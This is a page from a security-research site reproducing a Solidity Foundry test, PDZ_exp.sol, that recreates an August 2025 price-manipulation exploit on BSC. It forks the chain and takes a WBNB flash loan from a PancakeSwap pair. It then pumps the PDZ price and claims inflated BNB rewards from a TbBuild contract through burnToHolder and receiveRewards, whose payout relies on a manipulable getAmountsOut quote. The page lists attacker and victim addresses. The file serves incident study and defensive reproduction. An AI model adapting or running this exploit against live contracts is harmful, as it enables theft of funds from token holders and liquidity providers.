Public reproduction file
src/test/2025-08/PDZ_exp.sol
Public reproduction file for dataset entry PDZ.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 3.3 BNB8// Attacker : https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c8259// Attack Contract : https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb8110// Vulnerable Contract : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda11// Attack Tx : https://bscscan.com/tx/0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a513// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/tikkalaresearch/status/195750058596567882819// Hacking God : N/A20pragma solidity ^0.8.0;22address constant PANCAKE_PAIR = 0x231d9e7181E8479A8B40930961e93E7ed798542C;23address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;24address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;25address constant PDZ_TOKEN = 0x50F2B2a555e5Fa9E1bb221433DbA2331E8664A69;26address constant TB_BUILD = 0x664201579057f50D23820d20558f4b61bd80BDda;29contract PDZ is BaseTestWithBalanceLog {30 uint256 blocknumToForkFrom = 57744491 - 1;32 function setUp() public {33 vm.createSelectFork("bsc", blocknumToForkFrom);34 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit35 fundingToken = address(0);36 }38 function testExploit() public balanceLog {39 // Step 1: borrow 10 WBNB40 IPancakePair(PANCAKE_PAIR).swap(10 ether, 0, address(this), hex"00");41 }43 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {44 IERC20 wbnb = IERC20(WBNB_ADDR);45 IERC20 pdz = IERC20(PDZ_TOKEN);46 IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));48 wbnb.approve(address(router), type(uint256).max);49 address[] memory WBNB_2_PDZ = new address[](2);50 WBNB_2_PDZ[0] = WBNB_ADDR;51 WBNB_2_PDZ[1] = PDZ_TOKEN;53 // Step 2: 10 WBNB -> PDZ54 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 ether, 0, WBNB_2_PDZ, address(this), block.timestamp);56 address[] memory PDZ_2_WBNB = new address[](2);57 PDZ_2_WBNB[0] = PDZ_TOKEN;58 PDZ_2_WBNB[1] = WBNB_ADDR;60 uint256 amount = 5467668273;61 ITbBuild tbBuild = ITbBuild(TB_BUILD);62 // Step 3: burn PDZ burn for BNB reward63 // The `burnToHolder` function calculates rewards using uniswapRouter.getAmountsOut,64 // which makes deserved instantly manipulable by pool price manipulation.65 tbBuild.burnToHolder(amount, address(0));66 tbBuild.receiveRewards(address(this));68 uint256 pdzBal = pdz.balanceOf(address(this));69 pdz.approve(PANCAKE_ROUTER, type(uint256).max);70 // Step 4: PDZ -> WBNB71 router.swapExactTokensForETHSupportingFeeOnTransferTokens(pdzBal, 0, PDZ_2_WBNB, address(this), block.timestamp);73 // Step 5: pay flash loan fee74 uint256 paybackAmount = 10.25 ether + 1;75 WBNB(WBNB_ADDR).deposit{value: paybackAmount}();76 wbnb.transfer(PANCAKE_PAIR, paybackAmount);77 }79 receive() external payable {}80}82interface ITbBuild {83 function burnToHolder(uint256 amount, address _invitation) external;84 function receiveRewards(address to) external;85}Analysis
Dataset entry
Public Foundry test for “PDZ” (2025-08-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825
- Attack Contract
0x1dffe35fb021f124f04d1a654236e0879fa0cb81
- Vulnerable Contract
0x664201579057f50d23820d20558f4b61bd80bdda
- Attack Tx
0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a5
- Twitter: https://x.com/tikkalaresearch/status/1957500585965678828
- Explorer: https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825
- Explorer: https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb81
- Explorer: https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda
- Explorer: https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda#code
File record
- Name
- PDZ
- Path
- src/test/2025-08/PDZ_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 61bf71d0c7f7194854df18e3a2111141686a453b
- Language
- Solidity
- Size
- 85 lines
- Date
- 2025-08-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/PDZ_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 61bf71d0c7f7194854df18e3a2111141686a453b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.